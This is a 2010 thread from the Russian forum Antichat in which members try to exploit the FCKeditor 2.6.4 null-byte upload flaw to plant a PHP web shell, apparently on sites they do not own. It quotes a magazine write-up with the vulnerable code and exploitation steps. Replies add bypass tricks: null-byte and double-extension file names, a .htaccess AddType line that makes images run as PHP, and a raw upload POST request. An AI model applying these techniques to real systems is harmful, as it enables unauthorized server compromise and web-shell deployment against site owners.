ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

fckeditor 2.6.4 Прошу помочь
  #1  
Старый 12.01.2010, 23:32
KosoyRoman
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695

Репутация: 37
По умолчанию fckeditor 2.6.4 Прошу помочь

Ребят, вообщем запарился я конкретно, fckeditor не заливает не в какую (((

uploadtest.html
--------------------
Current Folder:
pixel.php%00

возвращает
Error on file upload. Error number: 102

на локале пашет нормально со всеми версиями ((( папка уплоада не стандартная, но если Current Folder: оставить пустым то заливает нормально. Что посоветуете еще? может кто знает как обойти занозу?
 
Ответить с цитированием

  #2  
Старый 12.01.2010, 23:37
[Life]
Banned
Регистрация: 07.01.2010
Сообщений: 132
Провел на форуме:
63422

Репутация: 8
По умолчанию

может проблема в fckeditor?
 
Ответить с цитированием

  #3  
Старый 12.01.2010, 23:40
KosoyRoman
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695

Репутация: 37
По умолчанию

Да не, пробовал еще на одном сайте, таже беда

Код:
function CreateFolder( $resourceType, $currentFolder )
{
	if (!isset($_GET)) {
		global $_GET;
	}
	$sErrorNumber	= '0' ;
	$sErrorMsg		= '' ;

	if ( isset( $_GET['NewFolderName'] ) )
	{
		$sNewFolderName = $_GET['NewFolderName'] ;
		$sNewFolderName = SanitizeFolderName( $sNewFolderName ) ;

		if ( strpos( $sNewFolderName, '..' ) !== FALSE )
			$sErrorNumber = '102' ;		// Invalid folder name.
		else
		{
			// Map the virtual path to the local server path of the current folder.
			$sServerDir = ServerMapFolder( $resourceType, $currentFolder, 'CreateFolder' ) ;

			if ( is_writable( $sServerDir ) )
			{
				$sServerDir .= $sNewFolderName ;

				$sErrorMsg = CreateServerFolder( $sServerDir ) ;

				switch ( $sErrorMsg )
				{
					case '' :
						$sErrorNumber = '0' ;
						break ;
					case 'Invalid argument' :
					case 'No such file or directory' :
						$sErrorNumber = '102' ;		// Path too long.
						break ;
					default :
						$sErrorNumber = '110' ;
						break ;
				}
			}
			else
				$sErrorNumber = '103' ;
		}
	}
	else
		$sErrorNumber = '102' ;

	// Create the "Error" node.
	echo '<Error number="' . $sErrorNumber . '" originalDescription="' . ConvertToXmlAttribute( $sErrorMsg ) . '" />' ;
}
судя по функции хер поймешь в чем дело ((

Последний раз редактировалось KosoyRoman; 12.01.2010 в 23:44..
 
Ответить с цитированием

  #4  
Старый 12.01.2010, 23:57
KosoyRoman
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695

Репутация: 37
По умолчанию

если так

pixel.php%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C %3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3 C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C% 3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C

то пишет что всё загружено но не тут то было (((
 
Ответить с цитированием

  #5  
Старый 12.01.2010, 23:58
[Life]
Banned
Регистрация: 07.01.2010
Сообщений: 132
Провел на форуме:
63422

Репутация: 8
По умолчанию

sNewFolderName = $_GET['NewFolderName'] ;
$sNewFolderName = SanitizeFolderName( $sNewFolderName ) ;

if ( strpos( $sNewFolderName, '..' ) !== FALSE )
$sErrorNumber = '102' ; // Invalid folder name.

ты создавал дерикторию?
 
Ответить с цитированием

  #6  
Старый 13.01.2010, 00:00
KosoyRoman
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695

Репутация: 37
По умолчанию

[Life] дак вот я понять то и не могу ((( тоесть pixel.php%3C пишет что загружен, но файла нет, если так pixel.php%00 то отдает 102 ошибку, если пустым оставить то нормально заливает по сути с нулбайтом он должен создать файл а не папку

Цитата с http://www.xakep.ru/magazine/xa/128/040/1.asp

Цитата:
Загрузка произвольных файлов в FCKeditor
BRIEF

FCKeditor, наряду с TinyMCE, является одним из наиболее распространенных WYSIWYG-редакторов и используется в таких известных WEB-приложенияx, как Zope, PHPList, Falt4 CMS, RunCMS, Dokeos, Nuke ET.

Для этой уязвимости в сети присутствуют очень скудные описания, из которых понятно только то, что уязвим параметр «CurrentFolder» (например, http://www.securitylab.ru/vulnerability/382191.php и http://www.securityfocus.com/bid/31812). Так как такое положение дел меня вовсе не устраивало, пришлось самому покопаться в исходниках описываемого HTML based редактора.

Итак, качаем последний уязвимый релиз (http://dfn.dl.sourceforge.net/sourceforge/fckeditor/FCKeditor_2.6.4.zip) и открываем сценарий, ответственный за upload файлов во встроенном файлменеджере скрипта - ./editor/filemanager/connectors/php/upload.php:

<?php
...
$sCurrentFolder = GetCurrentFolder() ;

// Is enabled the upload?
if ( ! IsAllowedCommand( $sCommand ) )
SendUploadResults( '1', '', '', 'The ""' . $sCommand . '"" command isn\'t allowed' ) ;

// Check if it is an allowed type.
if ( !IsAllowedType( $sType ) )
SendUploadResults( 1, '', '', 'Invalid type specified' ) ;

FileUpload( $sType, $sCurrentFolder, $sCommand )
?>

Здесь нас интересует функция определения текущей директории - GetCurrentFolder(), найти которую мы сможем в сценарии ./editor/filemanager/connectors/php/io.php:

function GetCurrentFolder()
{
if (!isset($_GET)) {
global $_GET;
}
$sCurrentFolder = isset( $_GET['CurrentFolder'] ) ? $_GET['CurrentFolder'] : '/' ;

// Check the current folder syntax (must begin and start with a slash).
if ( !preg_match( '|/$|', $sCurrentFolder ) )
$sCurrentFolder .= '/' ;
if ( strpos( $sCurrentFolder, '/' ) !== 0 )
$sCurrentFolder = '/' . $sCurrentFolder ;

// Ensure the folder path has no double-slashes
while ( strpos ($sCurrentFolder, '//') !== false ) {
$sCurrentFolder = str_replace ('//', '/', $sCurrentFolder) ;
}

// Check for invalid folder paths (..)
if ( strpos( $sCurrentFolder, '..' ) || strpos( $sCurrentFolder, "\\" ))
SendError( 102, '' ) ;

return $sCurrentFolder ;
}

А также функция, собственно, загрузки и сохранения файлов FileUpload() из ./editor/filemanager/connectors/php/commands.php:

function FileUpload( $resourceType, $currentFolder, $sCommand )
{
...
// Map the virtual path to the local server path.
$sServerDir = ServerMapFolder( $resourceType, $currentFolder, $sCommand ) ;

// Get the uploaded file name.
$sFileName = $oFile['name'] ;
$sFileName = SanitizeFileName( $sFileName ) ;
...
$sFilePath = $sServerDir . $sFileName ;
...
move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
...
}

Функция ServerMapFolder() просто возвращает полный folder path на сервере, исходя из переданного параметра $currentFolder. Как видно из функции GetCurrentFolder(), имя указываемой пользователем папки проверяется только на наличие уязвимости directory traversal, но никак не на банальный null-byte.
EXPLOIT

Для наглядного примера эксплуатации воспользуемся встроенным тестовым стендом FCKeditor для загрузки файлов - ./editor/filemanager/connectors/uploadtest.html.

Итак, в списке «Select the File Uploader to use» выбираем PHP (ну, или любой другой понравившийся тебе коннектор), далее в форме «Upload a new file» выбирай свой шелл, сохраненный с расширением .txt и, наконец, в поле «Current Folder» вбивай что-то вроде «my-evil-shell.php%00».
Теперь, после сабмита заполненной формы, скрипт с радостью покажет адрес твоего загруженного шелла в поле «Uploaded File URL» (в моем случае это ./userfiles/test.php).

Как видно из примера, $sFilePath для move_uploaded_file() становится равным имени директории ($sServerDir), настоящее же имя файла ($sFileName) просто-напросто отбрасывается нулл-байтом.
TARGETS

FCKeditor <=2.6.4, а также все web cms, в которых используется этот WYSIWYG-редактор.
SOLUTION

Как всегда, наилучшим решением для закрытия уязвимости будет установка последней версии скрипта с сайта производителя - http://www.fckeditor.net.

На локале всё работает на ура

Последний раз редактировалось KosoyRoman; 13.01.2010 в 00:05..
 
Ответить с цитированием

  #7  
Старый 13.01.2010, 00:41
KosoyRoman
Познающий
Регистрация: 14.09.2008
Сообщений: 38
Провел на форуме:
162695

Репутация: 37
По умолчанию

Понял в чем дело ((( в magic_quotes_gpc но как обойти его?
 
Ответить с цитированием

  #8  
Старый 23.02.2010, 05:07
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

Варианты расширений testl.php%00.gif testl.php.ggif
test.gif.php попробовал ?
Еще попробуй залить файл .htaccess чтобы расширение jpg исполнялись как php
вроде так AddType application/x-httpd-php .jpg .txt
еще вариант:
Код:
POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.0
Accept: */*
Content-Type: multipart/form-data; 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: xxxxxxxx.com
Content-Length: 234
Connection: Close
Pragma: no-cache
Content-Disposition: form-data; name="NewFile"; filename="test.txt"
Content-Type: text/plain

testing upload file
но php никак =\ пока хз сам ищу варианты....

Последний раз редактировалось shell_c0de; 23.02.2010 в 05:19..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
прошу помочь разобраться с кодом satana-fu PHP, PERL, MySQL, JavaScript 11 22.03.2009 16:46
Прошу помочь в кодинге Flenov С/С++, C#, Delphi, .NET, Asm 2 19.03.2009 10:24
прошу помочь со сплойтом под Webspell Aerot1smo PHP, PERL, MySQL, JavaScript 12 14.12.2006 23:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ